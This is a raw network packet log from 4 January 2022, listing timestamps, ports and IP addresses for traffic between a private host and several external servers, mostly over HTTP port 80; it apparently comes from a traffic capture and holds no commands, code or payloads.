Jan 4, 2022 19:33:59.912739038 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.912764072 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.912786961 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.912811041 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.912834883 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.912842035 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.912878036 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.912900925 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.912911892 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.912935972 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.912957907 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.912959099 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.912980080 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.912981987 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.913006067 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.913007975 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.913028002 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.913029909 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.913048029 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.913053989 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.913067102 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.913077116 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.913096905 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.913099051 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.913124084 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.913124084 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.913144112 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.913145065 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.913167953 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.913181067 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.913192987 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.913208008 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.913216114 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.913239956 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.913248062 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.913264990 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.913281918 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.913288116 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.913295984 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.913310051 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.913326025 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.913333893 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.913341045 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.913357973 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.913367033 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.913383007 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.913388014 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.913407087 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.913424969 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.913429976 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.913438082 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.913455009 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.913460970 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.913477898 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.913485050 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.913487911 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.913503885 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.913520098 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.913527012 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.913548946 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.913549900 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.913569927 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.913573980 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.913597107 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.913614035 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.913620949 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.913645029 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.913645983 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.913649082 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.913665056 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.913669109 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.913691044 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.913713932 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.913722992 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.913726091 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.913733959 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.913738966 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.913753033 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.913764954 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.913788080 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.913808107 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.913810968 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.913835049 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.913844109 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.913857937 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.913875103 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.913883924 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.913908005 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.913923025 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.913932085 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.913942099 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.913957119 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.913976908 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.913980007 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.914001942 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.914005995 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.914026022 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.914030075 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.914047956 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.914052010 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.914072037 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.914072990 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.914096117 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.914098024 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.914115906 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.914129019 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.914139986 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.914140940 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.914160013 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.914184093 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.914200068 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.914207935 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.914227962 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.914233923 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.914248943 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.914258957 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.914280891 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.914282084 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.914299011 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.914307117 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.914319992 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.914330959 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.914346933 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.914355993 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.914371967 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.914380074 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.914391994 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.914403915 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.914423943 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.914426088 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.914447069 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.914448977 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.914469957 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.914470911 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.914493084 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.914494038 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.914516926 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.914516926 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.914540052 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.914541006 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.914563894 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.914565086 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.914587975 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.914588928 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.914611101 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.914619923 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.914634943 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.914638042 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.914659023 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.914663076 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.914684057 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.914697886 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.914717913 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.914722919 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.914746046 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.914747000 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.914767981 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.914768934 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.914792061 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.914792061 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.914813042 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.914813995 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.914836884 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.914839983 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.914860010 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.914860964 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.914881945 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.914884090 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.914906025 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.914907932 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.914927959 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.914932966 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.914951086 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.914957047 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.914973021 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:33:59.914974928 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.914997101 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.915016890 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.953406096 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.955002069 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:33:59.975441933 CET	49891	80	192.168.2.5	194.180.174.53
Jan 4, 2022 19:34:00.853585958 CET	49899	80	192.168.2.5	91.219.236.18
Jan 4, 2022 19:34:01.027973890 CET	49900	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:34:01.085403919 CET	80	49900	89.223.65.17	192.168.2.5
Jan 4, 2022 19:34:01.085587025 CET	49900	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:34:01.085788012 CET	49900	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:34:01.085822105 CET	49900	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:34:01.143121958 CET	80	49900	89.223.65.17	192.168.2.5
Jan 4, 2022 19:34:01.189680099 CET	80	49900	89.223.65.17	192.168.2.5
Jan 4, 2022 19:34:01.189867973 CET	49900	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:34:01.190176010 CET	49900	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:34:01.249623060 CET	80	49900	89.223.65.17	192.168.2.5
Jan 4, 2022 19:34:02.022640944 CET	49814	443	192.168.2.5	194.87.235.183
Jan 4, 2022 19:34:02.022706985 CET	443	49814	194.87.235.183	192.168.2.5
Jan 4, 2022 19:34:02.022773981 CET	49814	443	192.168.2.5	194.87.235.183
Jan 4, 2022 19:34:02.277072906 CET	49903	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:34:02.338609934 CET	80	49903	151.251.30.69	192.168.2.5
Jan 4, 2022 19:34:02.338821888 CET	49903	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:34:02.341531992 CET	49903	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:34:02.342869043 CET	49903	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:34:02.404606104 CET	80	49903	151.251.30.69	192.168.2.5
Jan 4, 2022 19:34:02.552831888 CET	80	49903	151.251.30.69	192.168.2.5
Jan 4, 2022 19:34:02.552876949 CET	80	49903	151.251.30.69	192.168.2.5
Jan 4, 2022 19:34:02.552968979 CET	49903	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:34:02.564018011 CET	49903	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:34:02.583615065 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:02.604234934 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:02.604273081 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:02.604290009 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:02.604305983 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:02.604324102 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:02.604331017 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:02.604343891 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:02.604357958 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:02.604367971 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:02.604384899 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:02.604393959 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:02.604410887 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:02.604413986 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:02.604423046 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:02.605541945 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:02.622714043 CET	80	49903	151.251.30.69	192.168.2.5
Jan 4, 2022 19:34:02.624375105 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:02.624402046 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:02.624414921 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:02.624427080 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:02.624439955 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:02.624452114 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:02.624464989 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:02.624481916 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:02.624499083 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:02.624511957 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:02.624522924 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:02.624536037 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:02.624558926 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:02.624562979 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:02.624576092 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:02.624587059 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:02.624591112 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:02.624593019 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:02.624619961 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:02.625509024 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:02.625530958 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:02.625547886 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:02.625564098 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:02.625580072 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:02.625591993 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:02.625600100 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:02.625626087 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:02.625653982 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:02.644509077 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:02.644539118 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:02.644556999 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:02.644573927 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:02.644588947 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:02.644599915 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:02.644606113 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:02.644622087 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:02.644634008 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:02.644639015 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:02.644655943 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:02.644664049 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:02.644671917 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:02.644684076 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:02.644689083 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:02.644706011 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:02.644716024 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:02.644721031 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:02.644737005 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:02.644745111 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:02.644752979 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:02.644768953 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:02.644776106 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:02.644785881 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:02.644797087 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:02.644802094 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:02.644818068 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:02.644828081 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:02.644834995 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:02.644882917 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:02.644886971 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:02.644900084 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:02.644906044 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:02.644916058 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:02.644932985 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:02.644933939 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:02.644948959 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:02.644958019 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:02.644964933 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:02.644980907 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:02.644996881 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:02.645004034 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:02.645025969 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:02.645163059 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:02.645318985 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:02.645328045 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:02.645338058 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:02.645353079 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:02.645369053 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:02.645395041 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:02.645396948 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:02.645401001 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:02.645410061 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:02.645462990 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:02.645498991 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:02.645641088 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:02.645657063 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:02.645669937 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:02.645687103 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:02.645713091 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:02.645771980 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:02.664871931 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:02.664907932 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:02.664931059 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:02.664951086 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:02.664973021 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:02.665004969 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:02.665010929 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:02.665021896 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:02.665034056 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:02.665040016 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:02.665060043 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:02.665064096 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:02.665076971 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:02.665086985 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:02.665093899 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:02.665107965 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:02.665112019 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:02.665129900 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:02.665144920 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:02.665148020 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:02.665164948 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:02.665182114 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:02.665182114 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:02.665199995 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:02.665208101 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:02.665220976 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:02.665230036 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:02.665242910 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:02.665247917 CET	80	49897	65.108.180.72	192.168.2.5
